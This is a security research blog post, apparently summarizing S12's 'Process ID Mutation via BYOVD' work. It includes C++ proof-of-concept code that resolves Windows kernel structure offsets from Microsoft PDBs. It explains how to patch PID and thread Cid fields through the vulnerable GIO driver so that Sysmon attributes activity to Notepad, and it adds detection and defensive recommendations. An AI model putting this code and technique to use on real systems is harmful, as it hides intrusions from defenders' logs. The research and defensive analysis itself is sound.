    DWORD s1BlockOff = flatBlocks[s0Blocks] * bs;
    if (s1BlockOff + sizeof(PdbInfoStreamHeader) > buf.size()) return false;

    outGuid = reinterpret_cast<PdbInfoStreamHeader*>(buf.data() + s1BlockOff)->UniqueId;
    return true;
}

// PDB Download via WinHTTP from Microsoft Symbol Server
static std::wstring BuildSymSrvUri(const GUID& g, DWORD age, const wchar_t* pdbName) {
    wchar_t guid[48];
    swprintf_s(guid,
        L"%08X%04X%04X%02X%02X%02X%02X%02X%02X%02X%02X%X",
        g.Data1, g.Data2, g.Data3,
        g.Data4[0], g.Data4[1], g.Data4[2], g.Data4[3],
        g.Data4[4], g.Data4[5], g.Data4[6], g.Data4[7],
        age);

    std::wstring uri = L"/download/symbols/";
    uri += pdbName; uri += L"/";
    uri += guid;    uri += L"/";
    uri += pdbName;
    return uri;
}

static bool DownloadPdb(const GUID& guid, DWORD age, const wchar_t* pdbNameW, const char* outPath) {
    std::wstring uri = BuildSymSrvUri(guid, age, pdbNameW);
    printf("[*] Downloading: https://msdl.microsoft.com%ls\n", uri.c_str());

    HINTERNET hSess = WinHttpOpen(L"PDBOffsets/1.0",
        WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,
        WINHTTP_NO_PROXY_NAME,
        WINHTTP_NO_PROXY_BYPASS, 0);
    if (!hSess) { printf("[-] WinHttpOpen failed (%lu)\n", GetLastError()); return false; }

    HINTERNET hConn = WinHttpConnect(hSess, L"msdl.microsoft.com",
        INTERNET_DEFAULT_HTTPS_PORT, 0);
    HINTERNET hReq = hConn ? WinHttpOpenRequest(hConn, L"GET", uri.c_str(),
        nullptr, WINHTTP_NO_REFERER,
        WINHTTP_DEFAULT_ACCEPT_TYPES,
        WINHTTP_FLAG_SECURE) : nullptr;

    auto closeAll = [&] {
        if (hReq)  WinHttpCloseHandle(hReq);
        if (hConn) WinHttpCloseHandle(hConn);
        WinHttpCloseHandle(hSess);
        };

    if (!hReq) { closeAll(); return false; }

    if (!WinHttpSendRequest(hReq, WINHTTP_NO_ADDITIONAL_HEADERS, 0,
        WINHTTP_NO_REQUEST_DATA, 0, 0, 0) ||
        !WinHttpReceiveResponse(hReq, nullptr)) {
        printf("[-] WinHTTP request failed (%lu)\n", GetLastError());
        closeAll();
        return false;
    }

    DWORD status = 0, statusLen = sizeof(status);
    WinHttpQueryHeaders(hReq,
        WINHTTP_QUERY_STATUS_CODE | WINHTTP_QUERY_FLAG_NUMBER,
        WINHTTP_HEADER_NAME_BY_INDEX, &status, &statusLen, WINHTTP_NO_HEADER_INDEX);

    if (status != 200) {
        printf("[-] HTTP %lu from symbol server\n", status);
        closeAll();
        return false;
    }

    // Read body in chunks
    std::vector<BYTE> body;
    body.reserve(32 * 1024 * 1024);
    BYTE chunk[65536];
    DWORD rd = 0;
    while (WinHttpReadData(hReq, chunk, sizeof(chunk), &rd) && rd > 0)
        body.insert(body.end(), chunk, chunk + rd);

    closeAll();

    if (body.empty()) {
        printf("[-] Empty response from symbol server\n");
        return false;
    }

    HANDLE hFile = CreateFileA(outPath, GENERIC_WRITE, 0, nullptr,
        CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, nullptr);
    if (hFile == INVALID_HANDLE_VALUE) {
        printf("[-] Cannot write PDB to '%s' (%lu)\n", outPath, GetLastError());
        return false;
    }
    DWORD wr = 0;
    WriteFile(hFile, body.data(), static_cast<DWORD>(body.size()), &wr, nullptr);
    CloseHandle(hFile);

    printf("[+] PDB saved: %s (%zu bytes)\n", outPath, body.size());
    return true;
}

// DbgHelp Symbol Resolution
struct SymFindCtx {
    const char* name;
    DWORD64     address;
    bool        found;
};

struct TypeFindCtx {
    const char* name;
    ULONG       typeIndex;
    bool        found;
};

static BOOL CALLBACK OnSymbol(PSYMBOL_INFO pInfo, ULONG, PVOID ctx) {
    auto* s = static_cast<SymFindCtx*>(ctx);
    if (_stricmp(pInfo->Name, s->name) == 0) {
        s->address = pInfo->Address;
        s->found = true;
        return FALSE;
    }
    return TRUE;
}

static BOOL CALLBACK OnType(PSYMBOL_INFO pInfo, ULONG, PVOID ctx) {
    auto* t = static_cast<TypeFindCtx*>(ctx);
    if (_stricmp(pInfo->Name, t->name) == 0) {
        t->typeIndex = pInfo->TypeIndex;
        t->found = true;
        return FALSE;
    }
    return TRUE;
}

// Returns RVA (offset from module base) of a named global symbol.
static DWORD64 ResolveSymbolRva(HANDLE hSym, DWORD64 modBase, const char* symName) {
    SymFindCtx ctx{ symName, 0, false };
    SymEnumSymbols(hSym, modBase, symName, OnSymbol, &ctx);
    if (!ctx.found || !ctx.address) {
        printf("[-] Symbol not found: %s\n", symName);
        return 0;
    }
    return ctx.address - modBase;
}

// Returns byte offset of a named field within a named struct.
static DWORD ResolveFieldOffset(HANDLE hSym, DWORD64 modBase,
    const char* structName, const char* fieldName) {
    TypeFindCtx tCtx{ structName, 0, false };
    SymEnumTypesByName(hSym, modBase, structName, OnType, &tCtx);
    if (!tCtx.found) {
        printf("[-] Struct not found: %s\n", structName);
        return 0;
    }

    DWORD childCount = 0;
    if (!SymGetTypeInfo(hSym, modBase, tCtx.typeIndex, TI_GET_CHILDRENCOUNT, &childCount) ||
        childCount == 0)
        return 0;

    // TI_FINDCHILDREN_PARAMS has a variable-length ChildId[] at the end
    size_t paramSz = sizeof(TI_FINDCHILDREN_PARAMS) + childCount * sizeof(ULONG);
    std::vector<BYTE> paramBuf(paramSz, 0);
    auto* params = reinterpret_cast<TI_FINDCHILDREN_PARAMS*>(paramBuf.data());
    params->Count = childCount;
    params->Start = 0;

    if (!SymGetTypeInfo(hSym, modBase, tCtx.typeIndex, TI_FINDCHILDREN, params))
        return 0;

    // Convert target field name to wide for comparison with TI_GET_SYMNAME output
    wchar_t wField[256];
    MultiByteToWideChar(CP_ACP, 0, fieldName, -1, wField, 256);

    for (DWORD i = 0; i < childCount; i++) {
        WCHAR* nameW = nullptr;
        if (!SymGetTypeInfo(hSym, modBase, params->ChildId[i], TI_GET_SYMNAME, &nameW) || !nameW)
            continue;

        bool match = (_wcsicmp(nameW, wField) == 0);
        LocalFree(nameW);  // DbgHelp allocates with LocalAlloc

        if (match) {
            DWORD offset = 0;
            SymGetTypeInfo(hSym, modBase, params->ChildId[i], TI_GET_OFFSET, &offset);
            return offset;
        }
    }

    printf("[-] Field not found: %s::%s\n", structName, fieldName);
    return 0;
}


static bool ResolveKernelOffsets(KernelOffsets& out) {
    // Locate ntoskrnl.exe
    char sysDir[MAX_PATH];
    if (!GetSystemDirectoryA(sysDir, MAX_PATH)) return false;

    char ntosPath[MAX_PATH];
    snprintf(ntosPath, MAX_PATH, "%s\\ntoskrnl.exe", sysDir);
    printf("[*] Kernel image: %s\n", ntosPath);

    // Extract CodeView PDB info from PE debug directory
    PdbCodeViewInfo pdbInfo{};
    if (!GetPdbInfoFromPE(ntosPath, pdbInfo)) {
        printf("[-] Failed to extract CodeView info from PE\n");
        return false;
    }

    // Strip any path prefix from PDB filename (keep leaf only)
    char* pdbName = pdbInfo.PdbFileName;
    for (int i = static_cast<int>(strlen(pdbInfo.PdbFileName)) - 1; i >= 0; i--) {
        if (pdbInfo.PdbFileName[i] == '\\' || pdbInfo.PdbFileName[i] == '/') {
            pdbName = &pdbInfo.PdbFileName[i + 1];
            break;
        }
    }
    printf("[*] PDB: %s  Age: %lu\n", pdbName, pdbInfo.Age);

    // Local cache path: %TEMP%\<pdbname>
    char tempDir[MAX_PATH];
    GetTempPathA(MAX_PATH, tempDir);
    char localPdb[MAX_PATH];
    snprintf(localPdb, MAX_PATH, "%s%s", tempDir, pdbName);

    // Validate cached PDB by checking its MSF stream-1 GUID
    bool needDownload = true;
    DWORD attr = GetFileAttributesA(localPdb);
    if (attr != INVALID_FILE_ATTRIBUTES && !(attr & FILE_ATTRIBUTE_DIRECTORY)) {
        GUID cachedGuid{};
        if (ExtractGuidFromPdb(localPdb, cachedGuid) && IsEqualGUID(cachedGuid, pdbInfo.Guid)) {
            printf("[+] Valid cached PDB: %s\n", localPdb);
            needDownload = false;
        }
        else {
            printf("[*] Cached PDB GUID mismatch, re-downloading\n");
        }
    }

    if (needDownload) {
        wchar_t pdbNameW[MAX_PATH];
        MultiByteToWideChar(CP_ACP, 0, pdbName, -1, pdbNameW, MAX_PATH);
        if (!DownloadPdb(pdbInfo.Guid, pdbInfo.Age, pdbNameW, localPdb)) {
            printf("[-] Failed to download PDB\n");
            return false;
        }
    }

    // Initialize DbgHelp and load the PDB
    SymSetOptions(SYMOPT_UNDNAME | SYMOPT_DEFERRED_LOADS);

    // Use a unique fake handle so DbgHelp doesn't collide with any real process
    HANDLE hSym = reinterpret_cast<HANDLE>(static_cast<ULONG_PTR>(0xDEAD1234));
    if (!SymInitialize(hSym, nullptr, FALSE)) {
        printf("[-] SymInitialize failed (0x%lX)\n", GetLastError());
        return false;
    }

    wchar_t localPdbW[MAX_PATH];
    MultiByteToWideChar(CP_ACP, 0, localPdb, -1, localPdbW, MAX_PATH);

    const DWORD64 kFakeBase = 0x10000000ULL;
    DWORD64 modBase = SymLoadModuleExW(hSym, nullptr, localPdbW, nullptr,
        kFakeBase, 0, nullptr, 0);
    if (modBase == 0) {
        DWORD err = GetLastError();
        if (err != ERROR_SUCCESS) {
            printf("[-] SymLoadModuleExW failed (0x%lX)\n", err);
            SymCleanup(hSym);
            return false;
        }
        modBase = kFakeBase;  // already loaded
    }

    printf("[+] PDB loaded at base 0x%llX\n", modBase);

    // Resolve EPROCESS field offsets
    out.UniqueProcessId = ResolveFieldOffset(hSym, modBase, "_EPROCESS", "UniqueProcessId");
    out.ActiveProcessLinks = ResolveFieldOffset(hSym, modBase, "_EPROCESS", "ActiveProcessLinks");
    //out.PsInitialSystemProcess = ResolveFieldOffset(hSym, modBase, "_EPROCESS", "PsInitialSystemProcess");
    out.PsInitialSystemProcess = ResolveSymbolRva(hSym, modBase, "PsInitialSystemProcess");
    out.ThreadListHead = ResolveFieldOffset(hSym, modBase, "_EPROCESS", "ThreadListHead");
    out.ThreadListEntry = ResolveFieldOffset(hSym, modBase, "_ETHREAD", "ThreadListEntry");
    out.Cid = ResolveFieldOffset(hSym, modBase, "_ETHREAD", "Cid");

    SymUnloadModule64(hSym, modBase);
    SymCleanup(hSym);

    return 1;
}

Proof of Concept against Sysmon

Target: Notepad.exe PID 10720. PoC process originally PID 3284, four threads, all Cids patched. Then file create, DNS, child cmd.exe. Sysmon screenshots from the original post:

File Create

Sysmon Event ID 11 file create attributed to Notepad
Event 11: C:\Temp\sysmon_test.txt attributed to Notepad. Source: original article.

DNS Query

Sysmon Event ID 22 DNS query attributed to Notepad
Event 22: DNS query attributed to Notepad. Source: original article.

Child Process Create (cmd.exe)

Sysmon Event ID 1 child cmd.exe with parent Notepad
Event 1: cmd.exe parented to Notepad. Source: original article.

Full False Timeline

A Sysmon analyst who only has this log sees:

[Event 1]  Notepad.exe   PID 4200  started (legitimate)
[Event 11] Notepad.exe   PID 4200  wrote C:\Temp\sysmon_test.txt
[Event 1]  cmd.exe       PID 9920  started, parent: Notepad.exe
[Event 5]  cmd.exe       PID 9920  terminated
[Event 22] Notepad.exe   PID 4200  queried example.com
[Event 5]  Notepad.exe   PID 4200  terminated

PIDMutation.exe does not appear anywhere in this timeline.

PIDMutation.exe does not appear anywhere in this timeline

S12
Kitchen table: The night clerk wrote: Notepad arrived, Notepad wrote a file, Notepad asked DNS for example.com, Notepad spawned cmd, Notepad left. The person who actually did those things never signed the book.

What Still Gives You Away

The author’s remaining IOC is the interesting sentence in the post: ETHREAD.Cid versus PspCidTable divergence. An EDR that resolves “who is this PID?” through the CID table and then compares to the EPROCESS field, or that hashes the image from the EPROCESS pointer rather than from the PID Sysmon printed, will not tell the same story as Event Viewer.

  • Block the driver. Microsoft recommended driver blocklist, HVCI, WDAC. No GIO, no write primitive.
  • Alert on GIO / loldrivers. Image-load of known-vulnerable sys files is T1547.006 and still the cheapest catch.
  • Kernel callbacks that use PspCidTable for attribution, not Cid. That is a vendor architecture choice, not a Sysmon config knob.
  • Orphan Event 1 if they forget to restore: a PID that was created and never died, or Event 5 for Notepad while Notepad’s windows are still on screen.
  • Two processes, one PID in a cross-view: Task Manager vs Sysmon vs NtQuerySystemInformation.
  • Call stacks in Event 1/10/11 if you collect them: the modules will not look like notepad.exe.
For operators: Sysmon is a telemetry source, not an EDR. This technique is a Sysmon-specific attribution poison. Elastic/Defender kernel sensors that walk EPROCESS for the file object will still see PIDMutation.exe on disk I/O even if the PID field is 10720. Do not conclude “EDR is blind.” Conclude “Event ID 1/11/22 from Sysmon are not a process identity oracle once an arbitrary kernel write exists.” Arbitrary kernel write is already game over for integrity; this shows game over for story too.

ATT&CK and CWE, Mapped Honestly

IDNameHow it shows up here
T1547.006Boot or Logon Autostart: Kernel Modules and ExtensionsLoad GIO (or any RW primitive driver)
T1068Exploitation for Privilege EscalationIOCTL 0xC3502808 arbitrary kernel R/W
T1036MasqueradingTelemetry claims you are notepad.exe
T1562Impair DefensesYou do not disable Sysmon; you feed it a novel
T1059.003Windows Command ShellChild cmd.exe under the stolen parent
T1071.004DNSEvent 22 under the stolen parent
CWE-269Improper Privilege ManagementUsermode + signed-but-vulnerable .sys = kernel write
CWE-345Insufficient Verification of Data AuthenticitySysmon trusts Cid without PspCidTable

Operator Notes (Lab Only)

  1. Lab VM, snapshot, HVCI off only if you are studying the primitive. On a fleet, HVCI on is the control.
  2. The restore path is load-bearing. Kill -9 without restore leaves a ghost Event 1.
  3. Thread creation after the Cid patch will get a new ETHREAD with the real PID unless you patch again. A worker-thread pool is a race against yourself.
  4. Protected Process Light / PPL Notepad is not required; any user process PID works as the costume.
  5. Do not combine this with DKOM unlink unless you have thought about list corruption on exit.

Key Takeaways

  • Windows stores PID in at least three places. Sysmon reads ETHREAD.Cid. Patch that, and the log is a novel.
  • UniqueProcessId alone is not enough. Walk ThreadListHead.
  • Restore before death or you leave an orphaned start event.
  • Offsets from PDB, not magic numbers. The driver is GIO from LOLDrivers.
  • The remaining detector is Cid vs PspCidTable, plus call stacks, plus “two bodies one PID.”
  • This is a research PoC for a detection gap, not a reason to throw Sysmon away. It is a reason not to treat Sysmon PID as gospel once a kernel write exists.

Defensive Recommendations

  1. Enforce HVCI + Microsoft vulnerable driver blocklist. GIO should never load.
  2. Hunt image loads of hashes/names on loldrivers.io, including Gigabyte GIO.
  3. Do not close IR on Sysmon-only process trees. Join with kernel-callback vendors or ETW-TI that bind file objects to EPROCESS pointers.
  4. Alert on Event 1 without Event 5 for the same PID within process lifetime SLAs, and on Event 5 for a PID whose windows still exist.
  5. If you write detections: compare Cid.UniqueProcess to PspCidTable / UniqueProcessId in a kernel sensor. That is the author’s own remaining IOC.
  6. Collect call stacks on Event 11/22 where volume allows. notepad.exe issuing your implant’s modules is the tell.
  7. Treat arbitrary kernel R/W as identity-compromised, not just privilege-compromised.

Conclusions

S12 started with curiosity and landed on a practical Sysmon attribution poison: mutate UniqueProcessId and every thread Cid, do work, restore, leave a log that never mentions your binary. The kernel still knows who you are in PspCidTable. Sysmon does not ask. That gap is the finding. The PoC is a research project for understanding detection gaps, not a production tool. More exploration ahead, in the author’s closing. Ours: if your story of an incident is only Event IDs, someone with GIO can write the story for you.

Original text: “Process ID Mutation via BYOVD” by S12 – 0x12Dark Development at Medium.

oxfemale Vulnerability research, reverse engineering, and exploit development.
// Discussion